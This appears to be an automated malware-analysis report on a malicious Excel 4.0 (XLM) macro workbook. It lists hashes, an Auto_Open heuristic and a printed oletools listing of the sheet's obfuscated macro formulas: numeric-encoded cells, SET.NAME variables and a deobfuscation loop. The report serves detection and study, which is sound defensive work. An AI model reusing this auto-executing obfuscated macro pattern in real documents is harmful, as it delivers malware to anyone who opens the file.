Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d8a6d546dc789905…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:37 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 2941f93b0b7136fe908fed6933e86a39 SHA-1: df10408802b47004640ac26aed53b570ea639d13 SHA-256: d8a6d546dc789905d04442f495493eb5471044b92592b15e1f89c2c6cbd9e0e5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6858 bytes
SHA-256: 4fe8036d9a0ae90f2d8fb3cd6b9feb1603003428cf9f39771f2fa9347712697c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cAJjLdaylhw
' 0018     25 LABEL : Cell Value, String Constant - AeLepfivPA len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C135 
' 0018     20 LABEL : Cell Value, String Constant - AvEPA len=0 
' 0018     20 LABEL : Cell Value, String Constant - bETDc len=0 
' 0018     23 LABEL : Cell Value, String Constant - cMNVowMR len=0 
' 0018     26 LABEL : Cell Value, String Constant - cUHPRFRTrcC len=0 
' 0018     24 LABEL : Cell Value, String Constant - eSrCfTaGX len=0 
' 0018     20 LABEL : Cell Value, String Constant - gTfTo len=0 
' 0018     27 LABEL : Cell Value, String Constant - HdUBTRndgGAt len=0 
' 0018     20 LABEL : Cell Value, String Constant - HeuaS len=0 
' 0018     22 LABEL : Cell Value, String Constant - LIsUyzX len=0 
' 0018     26 LABEL : Cell Value, String Constant - mVqNpyJJpXa len=0 
' 0018     22 LABEL : Cell Value, String Constant - oDNemxX len=0 
' 0018     22 LABEL : Cell Value, String Constant - ofJChdU len=0 
' 0018     26 LABEL : Cell Value, String Constant - qmHiuVmJwwD len=0 
' 0018     22 LABEL : Cell Value, String Constant - RoLwfcK len=0 
' 0018     25 LABEL : Cell Value, String Constant - UPZgLveNRP len=0 
' 0018     21 LABEL : Cell Value, String Constant - WToSpv len=0 
' 0018     26 LABEL : Cell Value, String Constant - XMzprWozxvz len=0 
' 0018     23 LABEL : Cell Value, String Constant - zihipYHr len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZlhAbiQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cAJjLdaylhw,C48,"SET.NAME("cMNVowMR",0+VALUE("0"))",""
'  cAJjLdaylhw,C53,"SET.NAME("XMzprWozxvz",cMNVowMR)",""
'  cAJjLdaylhw,S54,"",-402.00000000000000000000
'  cAJjLdaylhw,S55,"",-754.00000000000000000000
'  cAJjLdaylhw,S56,"",891.00000000000000000000
'  cAJjLdaylhw,C57,"SET.NAME("gTfTo",cMNVowMR)",""
'  cAJjLdaylhw,S57,"",-587.00000000000000000000
'  cAJjLdaylhw,S58,"",546.00000000000000000000
'  cAJjLdaylhw,S59,"",-464.00000000000000000000
'  cAJjLdaylhw,C61,"SET.NAME("oDNemxX",COUNTA(zihipYHr))",""
'  cAJjLdaylhw,C65,"SET.NAME("AvEPA",COUNTA(qmHiuVmJwwD))",""
'  cAJjLdaylhw,C67,[],""
'  cAJjLdaylhw,C71,"SET.NAME("cUHPRFRTrcC","")",""
'  cAJjLdaylhw,C73,"XMzprWozxvz",""
'  cAJjLdaylhw,C75,"SET.NAME("mVqNpyJJpXa",HLOOKUP("*",zihipYHr,XMzprWozxvz,FALSE))",""
'  cAJjLdaylhw,C79,"RoLwfcK",""
'  cAJjLdaylhw,C82,"SET.NAME("AeLepfivPA",cMNVowMR)",""
'  cAJjLdaylhw,C87,[],""
'  cAJjLdaylhw,C92,"AeLepfivPA",""
'  cAJjLdaylhw,C94,"WToSpv",""
'  cAJjLdaylhw,C97,"ofJChdU",""
'  cAJjLdaylhw,C102,"eSrCfTaGX",""
'  cAJjLdaylhw,C104,"SET.NAME("UPZgLveNRP",VALUE(HLOOKUP("*",qmHiuVmJwwD,eSrCfTaGX,FALSE)))",""
'  cAJjLdaylhw,C108,"LIsUyzX",""
'  cAJjLdaylhw,C110,"cUHPRFRTrcC",""
'  cAJjLdaylhw,C115,"gTfTo",""
'  cAJjLdaylhw,C119,NEXT(),""
'  cAJjLdaylhw,C122,"bETDc",""
'  cAJjLdaylhw,C124,[],""
'  cAJjLdaylhw,C127,"HdUBTRndgGAt",""
'  cAJjLdaylhw,C129,NEXT(),""
'  cAJjLdaylhw,C131,RETURN(),""
'  cAJjLdaylhw,C163,"SET.NAME("HeuaS",C48)",""
'  cAJjLdaylhw,C165,"zihipYHr",""
'  cAJjLdaylhw,C167,"SET.NAME("qmHiuVmJwwD",R74C15)",""
'  cAJjLdaylhw,C171,"SET.NAME("HdUBTRndgGAt",180)",""
'  cAJjLdaylhw,C175,"SET.NAME("ZlhAbiQ",3)",""
'  cAJjLdaylhw,C179,HeuaS(),""
'  cAJjLdaylhw,C180,HALT(),""